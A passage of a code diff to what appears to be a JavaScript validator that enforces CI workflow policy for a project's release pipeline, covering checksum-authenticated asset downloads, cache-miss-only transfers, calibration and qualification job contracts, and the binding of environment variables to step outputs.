"CHECKSUM_SHA256", + "GH_TOKEN", + ]) + && object(publishedMiss?.env).GH_TOKEN === "${{ github.token }}" + && object(publishedMiss?.env).ASSET_TARGET === "${{ matrix.asset_target }}" + && object(publishedMiss?.env).ARCHIVE_NAME + === "${{ steps.published-assets.outputs.archive-name }}" + && object(publishedMiss?.env).ARCHIVE_ID + === "${{ steps.published-assets.outputs.archive-id }}" + && object(publishedMiss?.env).ARCHIVE_BYTES + === "${{ steps.published-assets.outputs.archive-bytes }}" + && object(publishedMiss?.env).ARCHIVE_SHA256 + === "${{ steps.published-assets.outputs.archive-sha256 }}" + && object(publishedMiss?.env).CHECKSUM_ID + === "${{ steps.published-assets.outputs.checksum-id }}" + && object(publishedMiss?.env).CHECKSUM_BYTES + === "${{ steps.published-assets.outputs.checksum-bytes }}" + && object(publishedMiss?.env).CHECKSUM_SHA256 + === "${{ steps.published-assets.outputs.checksum-sha256 }}", + `${file} published archive transfer must run only on an exact cache miss`, + ); + requireStepRun( + violations, + file, + job, + "Download, verify, and admit published candidate on miss", + [ + "releases/assets/$id", + "--continue-at -", + "--max-time 120", + 'test "${actual%% *}" = "$expected_bytes"', + 'test "${actual#* }" = "$expected_sha256"', + 'download_asset "$ARCHIVE_ID" "$ARCHIVE_NAME"', + 'download_asset "$CHECKSUM_ID" "$ARCHIVE_NAME.sha256"', + 'cp "$stage/$ARCHIVE_NAME.sha256" "$stage/SHA256SUMS.txt"', + "candidate-archive-store.mjs admit", + "--store-root \"$RUNNER_TOOL_CACHE/codestory/candidate-archives\"", + "--output-dir target/post-publish-release-assets", + ], + ); + const publishedManifest = namedStep( + job, + "Download authenticated published checksum manifest", + ); + const publishedBinding = namedStep( + job, + "Bind materialized published asset paths", + ); + add( + violations, + publishedManifest?.id === "published-checksum" + && publishedManifest?.if === undefined + && publishedManifest?.shell === "bash" + && publishedManifest?.["continue-on-error"] === undefined + && hasExactKeys(object(publishedManifest?.env), [ + "GH_TOKEN", + "MANIFEST_BYTES", + "MANIFEST_ID", + "MANIFEST_SHA256", + ]) + && object(publishedManifest?.env).GH_TOKEN === "${{ github.token }}" + && object(publishedManifest?.env).MANIFEST_ID + === "${{ steps.published-assets.outputs.manifest-id }}" + && object(publishedManifest?.env).MANIFEST_BYTES + === "${{ steps.published-assets.outputs.manifest-bytes }}" + && object(publishedManifest?.env).MANIFEST_SHA256 + === "${{ steps.published-assets.outputs.manifest-sha256 }}" + && publishedBinding?.id === "asset" + && publishedBinding?.if === undefined + && publishedBinding?.shell === "bash" + && hasExactKeys(object(publishedBinding?.env), [ + "ASSET_NAME", + "PUBLISHED_CHECKSUM", + ]) + && object(publishedBinding?.env).ASSET_NAME + === "${{ steps.published-assets.outputs.archive-name }}" + && object(publishedBinding?.env).PUBLISHED_CHECKSUM + === "${{ steps.published-checksum.outputs.checksum }}", + `${file} global published checksum must stay independently authenticated and bind the materialized candidate`, + ); + requireStepRun( + violations, + file, + job, + "Download authenticated published checksum manifest", + [ + "releases/assets/$MANIFEST_ID", + 'test "${actual%% *}" = "$MANIFEST_BYTES"', + 'test "${actual#* }" = "$MANIFEST_SHA256"', + 'echo "checksum=$checksum" >> "$GITHUB_OUTPUT"', + ], + ); + requireStepRun( + violations, + file, + job, + "Bind materialized published asset paths", + [ + 'test -f "$dir/$ASSET_NAME"', + 'echo "archive=$dir/$ASSET_NAME" >> "$GITHUB_OUTPUT"', + 'echo "checksum=$PUBLISHED_CHECKSUM" >> "$GITHUB_OUTPUT"', + ], + ); + add( + violations, + stepIndex(job, "Authenticate published candidate assets") + < stepIndex(job, "Restore published candidate archive from protected host") + && stepIndex(job, "Restore published candidate archive from protected host") + < stepIndex(job, "Download, verify, and admit published candidate on miss") + && stepIndex(job, "Download, verify, and admit published candidate on miss") + < stepIndex(job, "Download authenticated published checksum manifest") + && stepIndex(job, "Download authenticated published checksum manifest") + < stepIndex(job, "Bind materialized published asset paths") + && jobShellInvocationsContaining(job, "releases/assets/$id").length === 1 + && jobShellInvocationsContaining( + job, + "releases/assets/$MANIFEST_ID", + ).length === 1 + && !scalarStrings(workflow).some(value => value.includes("gh release download")), + `${file} must resolve the protected cache before any large release-asset transfer and never use an unconditional bulk download`, + ); + const catalogDelivery = graph.workflow_policy.catalog_delivery; + const resolveStepName = "Resolve the published plugin through the marketplace catalog"; + violations.push(...catalogDeliveryStateViolations( + file, + job, + catalogDelivery, + { + published: "${{ inputs.catalog_published }}", + revision: "${{ inputs.marketplace_revision }}", + }, + resolveStepName, + "${{ steps.release.outputs.tag }}", + )); + // The one place the delivery state reaches the release ledger. It must be the resolved value and + // never a literal, or a deferred run could sign a cell saying the public catalog served it. + const identityRun = executableRunText( + String(namedStep(job, "Emit authenticated post-publish release cells")?.run ?? ""), + ); + add( + violations, + identityRun.includes('--arg installer "$DELIVERED_INSTALLER"') + && object(namedStep(job, "Emit authenticated post-publish release cells")?.env) + .DELIVERED_INSTALLER === "${{ steps.delivery.outputs.installer }}", + `${file} post-publish cells must record the resolved delivery installer identity`, + ); + for (const state of catalogDelivery.states) { + add( + violations, + !identityRun.includes(state.installer), + `${file} post-publish cells must not hard-code the ${state.id} installer identity`, + ); + } + const resolveInstalled = namedStep(job, resolveStepName); + requireStepRun(violations, file, job, resolveStepName, [ + 'marketplace_revision="$MARKETPLACE_REVISION"', + // Re-checked here as an immutable identity, not merely as 40 characters: this job is + // dispatchable, so the published branch's revision can arrive from a human. + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, '"@openai/codex@$CODEX_CLI_VERSION"', "install-codestory-marketplace-proof.mjs", - "TheGreenCedar/AgentPluginMarketplace", + '--marketplace-source "$MARKETPLACE_SOURCE"', '--marketplace-revision "$marketplace_revision"', + '--local-fixture "$LOCAL_FIXTURE"', '--source-repository "$GITHUB_WORKSPACE"', "install-attestation-v2.json", 'isolated_home="$install_root/isolated-home"', 'HOME="$isolated_home" node', ]); + // The install arguments arrive as variables, so the command text no longer says which delivery + // state produced them. Each variable is bound back to the step that resolved it. + requireStepEnv(violations, file, job, resolveStepName, { + MARKETPLACE_REVISION: "${{ steps.delivery.outputs.marketplace_revision }}", + MARKETPLACE_SOURCE: "${{ steps.delivery.outputs.marketplace_source }}", + LOCAL_FIXTURE: "${{ steps.delivery.outputs.local_fixture }}", + }); add( violations, namedStep(job, "Prove packaged version, help, and stdio shape")?.shell === "bash", `${file} packaged Python proof must use Bash on every protected platform`, ); + // The published asset this proof reads now arrives through `env:`, so the command text alone no + // longer says which archive or version it proved. + requireStepRun(violations, file, job, "Prove packaged version, help, and stdio shape", [ + '--archive "$ASSET_ARCHIVE"', + '--checksum-file "$ASSET_CHECKSUM"', + '--expected-version "$RELEASE_VERSION"', + ]); + requireStepEnv(violations, file, job, "Prove packaged version, help, and stdio shape", { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + ASSET_CHECKSUM: "${{ steps.asset.outputs.checksum }}", + RELEASE_VERSION: "${{ steps.release.outputs.version }}", + }); + // The macOS signing proof quarantines and unpacks the same published archive. + requireStepEnv(violations, file, job, "Prove published macOS signature, notarization, and quarantined execution", { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + }); const resolveRun = executableRunText(String(resolveInstalled?.run ?? "")); for (const forbidden of [ "git archive", @@ -2731,7 +4916,8 @@ function validatePostPublish(workflows, violations) { && resolveInstalled?.["continue-on-error"] === undefined, `${file} installed plugin resolution must be unconditional and fail closed`, ); - const installed = namedStep(job, "Prove the catalog-resolved published runtime"); + const installedProofName = "Prove the catalog-resolved published runtime"; + const installed = namedStep(job, installedProofName); add(violations, installed !== undefined, `${file} installed runtime proof step is missing`); add( violations, @@ -2747,7 +4933,7 @@ function validatePostPublish(workflows, violations) { const installedRun = executableRunText(String(installed?.run ?? "")); for (const fragment of [ "python .github/scripts/check-packaged-agent-proof.py", - '--archive "${{ steps.asset.outputs.archive }}"', + '--archive "$ASSET_ARCHIVE"', "--plugin-handoff", "--engine-policy accelerated", '--expected-backend "${{ matrix.backend }}"', @@ -2764,6 +4950,16 @@ function validatePostPublish(workflows, violations) { `${file} installed runtime proof must run ${fragment}`, ); } + // The archive and the resolved installation now reach the proof as variables. Without these the + // command text would read the same whether it proved the published asset or something else. + requireStepEnv(violations, file, job, installedProofName, { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + ASSET_CHECKSUM: "${{ steps.asset.outputs.checksum }}", + RELEASE_VERSION: "${{ steps.release.outputs.version }}", + INSTALLED_PLUGIN_ROOT: "${{ steps.installed.outputs.plugin_root }}", + INSTALLED_ATTESTATION: "${{ steps.installed.outputs.attestation }}", + INSTALLED_PLUGIN_DATA: "${{ steps.installed.outputs.plugin_data }}", + }); for (const fragment of ["--engine-policy cpu_explicit", "--expected-backend CPU", "--ground-only"]) { add( violations, @@ -2837,17 +5033,144 @@ function validatePackagedCoordinator(workflows, violations, graph) { violations.push(`${file} must exist`); return; } + add( + violations, + createHash("sha256").update(JSON.stringify(workflow)).digest("hex") + === packagedPlatformCoordinatorWorkflowDigest, + `${file} must match the reviewed frozen-candidate coordinator structure`, + ); const promotion = graph.workflow_policy.promotion; + const calibrationPolicy = object(graph.workflow_policy.calibration); + const qualificationPolicy = object(graph.workflow_policy.qualification); + add( + violations, + sameMembers(Object.keys(object(workflow.jobs)), [ + "route", + "calibration-macos", + "calibration-assemble", + "release-evidence", + "source-proof", + "packaged-proof", + "macos-metal-proof", + "frozen-candidate-quality", + "windows-vulkan-proof", + "linux-vulkan-proof", + "closeout", + ]), + `${file} must retain the reviewed exact job set so no hidden hardware job can block calibration or qualification`, + ); + add( + violations, + calibrationPolicy.coordinator_workflow === file + && calibrationPolicy.mode === "calibration" + && calibrationPolicy.assembly_job === "calibration-assemble" + && calibrationPolicy.runs_per_required_cell === 3 + && calibrationPolicy.samples_per_metric_per_run === 1 + && list(calibrationPolicy.required_cells).length === 1 + && object(list(calibrationPolicy.required_cells)[0]).id + === "protected_macos_arm64_metal" + && list(calibrationPolicy.optional_cells).length === 1 + && object(list(calibrationPolicy.optional_cells)[0]).id + === "protected_linux_x64_vulkan" + && object(list(calibrationPolicy.optional_cells)[0]).assembly_dependency === false + && object(list(calibrationPolicy.optional_cells)[0]).feeds_constant_selection === false, + `${file} must implement the release claim graph calibration contract`, + ); + add( + violations, + qualificationPolicy.coordinator_workflow === file + && qualificationPolicy.mode === "qualification" + && qualificationPolicy.runs_per_available_cell === 1 + && JSON.stringify(list(qualificationPolicy.required_cells)) + === JSON.stringify([ + { + id: "protected_macos_arm64_metal", + workflow: "macos-metal-proof.yml", + job: "packaged-metal", + policy: "accelerated", + backend: "metal", + }, + { + id: "protected_windows_x64_vulkan", + workflow: "windows-vulkan-proof.yml", + job: "packaged-vulkan", + policy: "accelerated", + backend: "vulkan", + }, + ]) + && JSON.stringify(list(qualificationPolicy.optional_cells)) + === JSON.stringify([ + { + id: "protected_linux_x64_vulkan", + workflow: "linux-vulkan-proof.yml", + job: "packaged-vulkan", + trigger: "workflow_dispatch", + policy: "accelerated", + backend: "vulkan", + closeout_dependency: false, + blocking: false, + }, + ]) + && JSON.stringify(object(qualificationPolicy.quality_contract)) + === JSON.stringify({ + producer_workflow: "packaged-platform-pr.yml", + producer_job: "frozen-candidate-quality", + producer_cell: "protected_macos_arm64_metal", + scheduled_once_per_frozen_candidate: true, + blocking: false, + closeout_dependency: false, + claimed: false, + archive_cache_key_fields: [ + "source.commit", + "target", + "archive.sha256", + ], + archive_cache_contract: "candidate_archive_cache", + archive_transfer: "authenticated_miss_only", + evaluation_owner: "isolated_reusable_workflow", + evaluation_owner_sha256: frozenCandidateQualityWorkflowDigest, + evaluation_contract: "publishable-three-repeat-packet/v1", + task_count: 1, + repeats_per_task: 3, + row_count: 3, + }) + && sameMembers(list(qualificationPolicy.required_evidence), [ + "qualification_scenarios", + "true_idle_exit", + "total_codestory_process_memory", + "backend_observed_accelerator_residency", + ]) + && sameMembers(list(qualificationPolicy.required_scenarios), [ + "client_death", + "cold_race", + "frozen_owner", + "incompatible_owner", + "mixed_queue", + "server_crash", + "true_idle_respawn", + "worker_stall", + ]) + && qualificationPolicy.true_idle_timeout_ms === 60_000 + && qualificationPolicy.true_idle_observation_grace_ms === 2_500 + && sameMembers(list(qualificationPolicy.forbidden_policies), ["cpu_explicit"]) + && sameMembers(list(qualificationPolicy.forbidden_backends), ["cpu"]) + && sameMembers( + list(qualificationPolicy.forbidden_environment), + ["CODESTORY_EMBED_ALLOW_CPU=1"], + ) + && JSON.stringify(object(qualificationPolicy.driver_contract)) + === JSON.stringify(expectedQualificationDriverContract()), + `${file} must implement the release claim graph qualification contract`, + ); const expectedConcurrency = [ "proof-", promotion.proof_run_sha_expression, - "-${{ inputs.mode || 'platform' }}-${{ inputs.pr_number || github.event.pull_request.number || 'dev' }}-", - "${{ github.event.action == 'labeled' && github.event.label.name || 'dispatch' }}", + "-${{ inputs.mode || 'platform' }}-${{ inputs.pr_number || 'dev' }}", ].join(""); add( violations, - sameMembers(at(workflow, "on", "pull_request", "types"), promotion.required_events), - `${file} pull request trigger must be label-only`, + trigger(workflow, "pull_request") === undefined, + `${file} support PR labels must not trigger package or hardware proof`, ); add( violations, @@ -2877,13 +5200,17 @@ function validatePackagedCoordinator(workflows, violations, graph) { `${file} dispatch scopes changed`, ); add(violations, trigger(workflow, "pull_request_target") === undefined, `${file} must not use pull_request_target`); - add(violations, object(workflow.permissions).actions === "read", `${file} must read source-proof runs`); + add( + violations, + object(workflow.permissions).actions === "write", + `${file} must cancel superseded proof runs before package or hardware work`, + ); add(violations, object(workflow.permissions).contents === "read", `${file} must use read-only contents permission`); const route = requireJob(violations, file, workflow, "route"); add( violations, - route.if === "github.event_name != 'pull_request' || (github.event.action == 'labeled' && github.event.label.name == 'platform-proof')", - `${file} route job must execute dispatch runs and only platform-proof labeled PR runs`, + route.if === undefined, + `${file} route job must execute only explicit dispatches`, ); requireStepRun(violations, file, route, "Resolve trusted exact head", [ 'test "$head_repo" = "$GITHUB_REPOSITORY"', @@ -2895,25 +5222,65 @@ function validatePackagedCoordinator(workflows, violations, graph) { 'test "$INPUT_HEAD_SHA" = "$dev_head"', 'test "$GITHUB_REF" = "refs/heads/dev/codestory-next"', 'test "$GITHUB_SHA" = "$dev_head"', + 'elif [ "$mode" = "qualification" ]; then', + 'test -z "$INPUT_SOURCE_RUN_ID"', + 'test -n "$INPUT_CALIBRATION_ARTIFACT"', + 'test -n "$INPUT_CALIBRATION_RUN_ID"', "--ref $head_ref", ]); + requireStepEnv(violations, file, route, "Resolve trusted exact head", { + INPUT_SOURCE_RUN_ID: "${{ inputs.source_run_id }}", + INPUT_CALIBRATION_ARTIFACT: "${{ inputs.calibration_bundle_artifact }}", + INPUT_CALIBRATION_RUN_ID: "${{ inputs.calibration_bundle_run_id }}", + }); requireExactResolverContract(violations, file, route, platformResolverContractDigest); + add( + violations, + namedStep(route, "Require executable release freeze")?.if === undefined, + `${file} every broad proof mode must authenticate its exact candidate head`, + ); + requireStepRun(violations, file, route, "Require executable release freeze", [ + "repos/$GITHUB_REPOSITORY/git/commits/$HEAD_SHA", + "release-freeze-barrier.mjs verify-status", + '--commit "$HEAD_SHA"', + 'if [ "$RESOLVED_MODE" = calibration ]; then', + "freeze_phase=calibration_source", + "freeze_phase=frozen_candidate", + '--phase "$freeze_phase"', + '--receipt-digest "$FREEZE_RECEIPT_DIGEST"', + ]); + requireStepEnv(violations, file, route, "Require executable release freeze", { + RESOLVED_MODE: "${{ steps.resolve.outputs.mode }}", + }); + const exactHeadSourceProof = namedStep(route, "Require successful exact-head source proof"); + add( + violations, + exactHeadSourceProof?.if + === "steps.resolve.outputs.mode != 'integration' && steps.resolve.outputs.mode != 'calibration'", + `${file} calibration must precede the sole frozen-candidate source proof`, + ); requireStepRun(violations, file, route, "Require successful exact-head source proof", [ "actions/runs?head_sha=$HEAD_SHA", '.path == ".github/workflows/source-proof.yml"', + '.event == "workflow_dispatch" and .conclusion == "success"', '.name == "full-source-gate" and .conclusion == "success"', ]); requireStepRun(violations, file, route, "Select change-aware proof scope", [ 'if [ "$REQUESTED_SCOPE" = none ] || [ "$REQUESTED_SCOPE" = linux ]; then', - 'elif [ "${{ steps.resolve.outputs.mode }}" = "package" ]; then', + 'elif [ "$RESOLVED_MODE" = "package" ]; then', 'test "$REQUESTED_SCOPE" != none', 'if [ "$REQUESTED_SCOPE" = auto ]; then', - 'elif [ "${{ steps.resolve.outputs.mode }}" = "qualification" ]; then', + 'elif [ "$RESOLVED_MODE" = "qualification" ]; then', 'test "$REQUESTED_SCOPE" = auto || test "$REQUESTED_SCOPE" = full', 'scope="$REQUESTED_SCOPE"', "scope=full", "node .github/scripts/route-ci-proof.mjs --stdin", ]); + // The mode the scope selector branches on now arrives as a variable, so the branch text alone no + // longer says which mode it read. This binds the variable back to the resolver's own output. + requireStepEnv(violations, file, route, "Select change-aware proof scope", { + RESOLVED_MODE: "${{ steps.resolve.outputs.mode }}", + }); add( violations, String(namedStep(route, "Select change-aware proof scope")?.run ?? "") @@ -2940,13 +5307,10 @@ function validatePackagedCoordinator(workflows, violations, graph) { && routeSteps.findIndex(step => step.uses === "actions/checkout@v5") > 0, `${file} must resolve exact workflow/ref identity before checkout`, ); - const calibrationLinux = requireJob(violations, file, workflow, "calibration-linux"); add( violations, - calibrationLinux.uses === "./.github/workflows/packaged-platform-proof.yml" - && object(calibrationLinux.with).calibration_mode === true - && object(calibrationLinux.with).hermetic_linux === undefined, - `${file} hosted Linux calibration must call packaged proof in calibration mode`, + at(workflow, "jobs", "calibration-linux") === undefined, + `${file} calibration must not schedule hosted Linux CPU or wait for optional Linux Vulkan evidence`, ); const calibrationMacos = requireJob(violations, file, workflow, "calibration-macos"); add( @@ -2968,12 +5332,65 @@ function validatePackagedCoordinator(workflows, violations, graph) { ); add( violations, - sameMembers(needs(calibrationAssemble), [ - "route", - "calibration-linux", - "calibration-macos", - ]), - `${file} calibration assembly must wait for both independent calibration cells`, + sameMembers(needs(calibrationAssemble), ["route", "calibration-macos"]) + && String(calibrationAssemble.if ?? "") + === "always() && needs.route.result == 'success' && needs.route.outputs.mode == 'calibration' && needs.calibration-macos.result == 'success'", + `${file} calibration assembly must wait only for required protected macOS Metal evidence`, + ); + const calibrationAssemblySteps = list(calibrationAssemble.steps).map(object); + const calibrationCheckout = namedStep( + calibrationAssemble, + "Checkout exact calibration head", + ); + const calibrationDownload = namedStep( + calibrationAssemble, + "Download protected macOS calibration runs", + ); + const calibrationAssembly = namedStep( + calibrationAssemble, + "Assemble frozen calibration candidate", + ); + const calibrationUpload = namedStep( + calibrationAssemble, + "Upload calibration bundle and frozen constant candidate", + ); + add( + violations, + JSON.stringify(calibrationAssemblySteps.map(step => step.name)) + === JSON.stringify([ + "Checkout exact calibration head", + "Download protected macOS calibration runs", + "Assemble frozen calibration candidate", + "Upload calibration bundle and frozen constant candidate", + ]) + && calibrationCheckout?.uses === "actions/checkout@v5" + && hasExactKeys(calibrationCheckout?.with, ["ref", "fetch-depth"]) + && object(calibrationCheckout?.with).ref === "${{ needs.route.outputs.head_sha }}" + && object(calibrationCheckout?.with)["fetch-depth"] === 0 + && calibrationDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(calibrationDownload?.with, ["name", "path"]) + && object(calibrationDownload?.with).name + === "embedding-calibration-macos-${{ needs.route.outputs.version }}" + && object(calibrationDownload?.with).path === "target/calibration-inputs/macos" + && calibrationAssembly?.shell === "bash" + && hasExactKeys(calibrationAssembly?.env, ["EXPECTED_HEAD_SHA"]) + && object(calibrationAssembly?.env).EXPECTED_HEAD_SHA + === "${{ needs.route.outputs.head_sha }}" + && calibrationUpload?.uses === "actions/upload-artifact@v7.0.1" + && hasExactKeys( + calibrationUpload?.with, + ["name", "path", "if-no-files-found", "retention-days"], + ) + && object(calibrationUpload?.with).name + === "embedding-calibration-bundle-${{ needs.route.outputs.head_sha }}" + && object(calibrationUpload?.with).path === "target/calibration-freeze" + && object(calibrationUpload?.with)["if-no-files-found"] === "error" + && object(calibrationUpload?.with)["retention-days"] === 30, + `${file} calibration assembly must keep the exact protected macOS-only step boundary`, + ); + const calibrationAssemblyRun = stepRun( + calibrationAssemble, + "Assemble frozen calibration candidate", ); requireStepRun( violations, @@ -2982,12 +5399,21 @@ function validatePackagedCoordinator(workflows, violations, graph) { "Assemble frozen calibration candidate", [ "--assemble-calibration-bundle", - 'test "${#runs[@]}" = 6', + "find target/calibration-inputs/macos", + 'test "${#runs[@]}" = 3', + ".run_count == 3", + ".matrix_cell_count == 1", "--calibration-producer-workflow-path", "--calibration-producer-run-id", "--calibration-producer-artifact", ], ); + add( + violations, + !scalarStrings(calibrationAssemble).some(value => value.toLowerCase().includes("linux")) + && !calibrationAssemblyRun.includes("find target/calibration-inputs -type"), + `${file} calibration assembly must not select, discover, or gate on Linux evidence`, + ); requireStepUses( violations, file, @@ -3012,9 +5438,17 @@ function validatePackagedCoordinator(workflows, violations, graph) { && String(packaged.if ?? "").includes("needs.route.outputs.mode == 'platform'") && String(packaged.if ?? "").includes("needs.route.outputs.mode == 'qualification'") && object(packaged.with).hermetic_linux + === "${{ needs.route.outputs.mode == 'qualification' }}" + && object(packaged.with).include_qualification_driver === "${{ needs.route.outputs.mode == 'qualification' }}", `${file} package and platform modes must build fresh archives while only qualification runs the cold Linux boundary`, ); + add( + violations, + object(packaged.with).include_qualification_driver + === "${{ needs.route.outputs.mode == 'qualification' }}", + `${file} must retain the private qualification driver only for frozen-candidate qualification`, + ); for (const key of [ "candidate_installed_proof", "candidate_installed_only", @@ -3031,7 +5465,7 @@ function validatePackagedCoordinator(workflows, violations, graph) { violations, !String(packaged.if ?? "").includes("release-evidence") && !needs(packaged).includes("release-evidence") - && object(packaged.with).quality_evidence_artifact === "", + && object(packaged.with).quality_evidence_artifact === undefined, `${file} package proof must not depend on optional release evidence`, ); violations.push(...packagedPrSigningViolations(workflow)); @@ -3049,57 +5483,343 @@ function validatePackagedCoordinator(workflows, violations, graph) { add(violations, object(metal.with).use_packaged_cli_artifact === true, `${file} Metal proof must use the packaged CLI`); add( violations, - object(metal.with).candidate_installed_proof === true, - `${file} must opt the accepted PR Metal package into candidate-installed proof`, + object(metal.with).candidate_installed_proof + === "${{ needs.route.outputs.mode != 'qualification' }}", + `${file} qualification must run full Metal proof rather than candidate-installed proof`, ); add( violations, - object(metal.with).server_behavior_only === true - && object(metal.with).quality_evidence_artifact === "", - `${file} Metal proof must use bounded readiness without optional quality evidence`, + object(metal.with).server_behavior_only + === "${{ needs.route.outputs.mode != 'qualification' }}" + && object(metal.with).quality_evidence_artifact === undefined, + `${file} qualification must run one full Metal lifecycle proof without optional quality inputs`, + ); + const qualityCaller = requireJob( + violations, + file, + workflow, + "frozen-candidate-quality", ); - const vulkan = requireJob(violations, file, workflow, "windows-vulkan-proof"); add( violations, - sameMembers(needs(vulkan), ["route", "packaged-proof"]), - `${file} Vulkan proof must wait only for routing and package proof`, + sameMembers(needs(qualityCaller), [ + "route", + "packaged-proof", + "macos-metal-proof", + ]) + && qualityCaller.if + === "always() && needs.route.result == 'success' && needs.packaged-proof.result == 'success' && needs.macos-metal-proof.result == 'success' && needs.route.outputs.mode == 'qualification' && (needs.route.outputs.scope == 'macos' || needs.route.outputs.scope == 'full')" + && qualityCaller.uses === frozenCandidateQualityWorkflowRef + && hasExactKeys(qualityCaller, ["name", "if", "needs", "uses", "with"]) + && qualityCaller.secrets === undefined + && hasExactKeys(object(qualityCaller.with), ["ref", "version"]) + && object(qualityCaller.with).ref === "${{ needs.route.outputs.head_sha }}" + && object(qualityCaller.with).version === "${{ needs.route.outputs.version }}", + `${file} optional quality must call its isolated owner once after protected Metal`, + ); + const qualityFile = path.basename(frozenCandidateQualityWorkflowRef); + const qualityWorkflow = workflows.get(qualityFile); + if (!qualityWorkflow) { + violations.push(`${qualityFile} must exist`); + return; + } + add( + violations, + createHash("sha256").update(JSON.stringify(qualityWorkflow)).digest("hex") + === frozenCandidateQualityWorkflowDigest, + `${qualityFile} must match the reviewed isolated evaluation-owner structure`, + ); + const qualityCall = object(trigger(qualityWorkflow, "workflow_call")); + const qualityInputs = object(qualityCall.inputs); + add( + violations, + trigger(qualityWorkflow, "workflow_dispatch") === undefined + && hasExactKeys(qualityInputs, ["ref", "version"]) + && object(qualityInputs.ref).required === true + && object(qualityInputs.ref).type === "string" + && object(qualityInputs.version).required === true + && object(qualityInputs.version).type === "string" + && JSON.stringify(qualityWorkflow.permissions) + === JSON.stringify({ actions: "read", contents: "read" }) + && sameMembers(Object.keys(object(qualityWorkflow.jobs)), ["quality"]), + `${qualityFile} must remain a reusable-only, read-only evaluation owner`, + ); + const quality = requireJob(violations, qualityFile, qualityWorkflow, "quality"); + add( + violations, + JSON.stringify(quality["runs-on"]) + === JSON.stringify(["self-hosted", "macOS", "ARM64", "codestory-metal"]) + && quality.environment === "macos-metal-release" + && quality["continue-on-error"] === true + && quality["timeout-minutes"] === 60, + `${qualityFile} optional quality must stay nonblocking on protected Metal`, + ); + const qualitySteps = list(quality.steps).map(object); + add( + violations, + qualitySteps.length === 9 + && qualitySteps.filter(step => step.id === "quality").length === 1 + && qualitySteps.filter(step => step.id === "quality-upload").length === 1, + `${qualityFile} must retain one authenticated measurement and upload boundary`, + ); + const qualityCheckout = namedStep(quality, "Checkout exact frozen candidate"); + add( + violations, + qualityCheckout?.uses === "actions/checkout@v5" + && hasExactKeys(object(qualityCheckout?.with), ["ref", "fetch-depth"]) + && object(qualityCheckout?.with).ref === "${{ inputs.ref }}" + && object(qualityCheckout?.with)["fetch-depth"] === 0, + `${qualityFile} must check out the routed exact frozen candidate`, + ); + const qualityAuthentication = namedStep( + quality, + "Authenticate exact candidate archive artifacts", + ); + const qualityAuthenticationRun = shellLiteralNormalizedText( + stepRun(quality, "Authenticate exact candidate archive artifacts"), + ); + add( + violations, + qualityAuthentication?.id === "candidate-artifacts" + && qualityAuthentication?.shell === "bash" + && qualityAuthentication?.["continue-on-error"] === undefined + && hasExactKeys(object(qualityAuthentication?.env), ["GH_TOKEN", "HEAD_SHA"]) + && object(qualityAuthentication?.env).GH_TOKEN === "${{ github.token }}" + && object(qualityAuthentication?.env).HEAD_SHA === "${{ inputs.ref }}" + && qualityAuthenticationRun.includes("git rev-parse HEAD") + && qualityAuthenticationRun.includes(".head_repository.full_name") + && qualityAuthenticationRun.includes( + ".github/workflows/packaged-platform-pr.yml", + ) + && qualityAuthenticationRun.includes(".head_sha") + && qualityAuthenticationRun.includes(".run_attempt") + && qualityAuthenticationRun.includes("select_artifact codestory-cli-macos-arm64") + && qualityAuthenticationRun.includes( + "select_artifact codestory-candidate-archive-record-macos-arm64", + ) + && qualityAuthenticationRun.includes(".workflow_run.id == $run_id") + && qualityAuthenticationRun.includes(".workflow_run.head_sha == $sha") + && qualityAuthenticationRun.includes("package-id=$artifact_id") + && qualityAuthenticationRun.includes("package-bytes=$expected_size") + && qualityAuthenticationRun.includes( + "package-sha256=${expected_digest#sha256:}", + ), + `${qualityFile} must authenticate one current-run exact-head candidate archive and record`, + ); + const qualityRecordDownload = namedStep( + quality, + "Download authenticated candidate record", + ); + const qualityCacheRestore = namedStep( + quality, + "Restore exact candidate archive from protected host", + ); + const qualityCacheMiss = namedStep( + quality, + "Download, authenticate, and admit candidate archive on miss", ); add( violations, - String(vulkan.if ?? "").includes("needs.route.outputs.mode != 'package'"), - `${file} package-only mode must skip protected Windows proof`, + qualityRecordDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(qualityRecordDownload?.with), ["name", "path"]) + && object(qualityRecordDownload?.with).name + === "codestory-candidate-archive-record-macos-arm64" + && object(qualityRecordDownload?.with).path + === "target/candidate-archive-record/macos-arm64" + && qualityCacheRestore?.id === "candidate-cache" + && qualityCacheRestore?.if === undefined + && qualityCacheRestore?.shell === "bash" + && qualityCacheRestore?.["continue-on-error"] === undefined, + `${qualityFile} cache lookup must consume only the exact small candidate record`, + ); + requireStepRun( + violations, + qualityFile, + quality, + "Restore exact candidate archive from protected host", + [ + "--arg repository \"$GITHUB_REPOSITORY\"", + "--arg source_sha \"$(git rev-parse HEAD)\"", + "--arg source_tree \"$(git rev-parse 'HEAD^{tree}')\"", + "--arg target macos-arm64", + ".source.commit == $source_sha", + ".source.tree == $source_tree", + ".target == $target", + "$RUNNER_TOOL_CACHE/codestory/candidate-archives", + "candidate-archive-store.mjs restore", + "--record \"$record\"", + "--output-dir target/release-dist", + "echo \"hit=$hit\" >> \"$GITHUB_OUTPUT\"", + ], ); - add(violations, object(vulkan.with).use_packaged_cli_artifact === true, `${file} Vulkan proof must use the packaged CLI`); add( violations, - object(vulkan.with).candidate_installed_proof === true, - `${file} must opt the accepted PR Windows package into candidate-installed proof`, + qualityCacheMiss?.if === "steps.candidate-cache.outputs.hit != 'true'" + && qualityCacheMiss?.shell === "bash" + && qualityCacheMiss?.["continue-on-error"] === undefined + && hasExactKeys(object(qualityCacheMiss?.env), [ + "ARTIFACT_ID", + "EXPECTED_SHA256", + "EXPECTED_SIZE", + "GH_TOKEN", + ]) + && object(qualityCacheMiss?.env).ARTIFACT_ID + === "${{ steps.candidate-artifacts.outputs.package-id }}" + && object(qualityCacheMiss?.env).EXPECTED_SIZE + === "${{ steps.candidate-artifacts.outputs.package-bytes }}" + && object(qualityCacheMiss?.env).EXPECTED_SHA256 + === "${{ steps.candidate-artifacts.outputs.package-sha256 }}" + && object(qualityCacheMiss?.env).GH_TOKEN === "${{ github.token }}", + `${qualityFile} archive transfer must be cache-miss-only and outer-digest authenticated`, + ); + requireStepRun( + violations, + qualityFile, + quality, + "Download, authenticate, and admit candidate archive on miss", + [ + 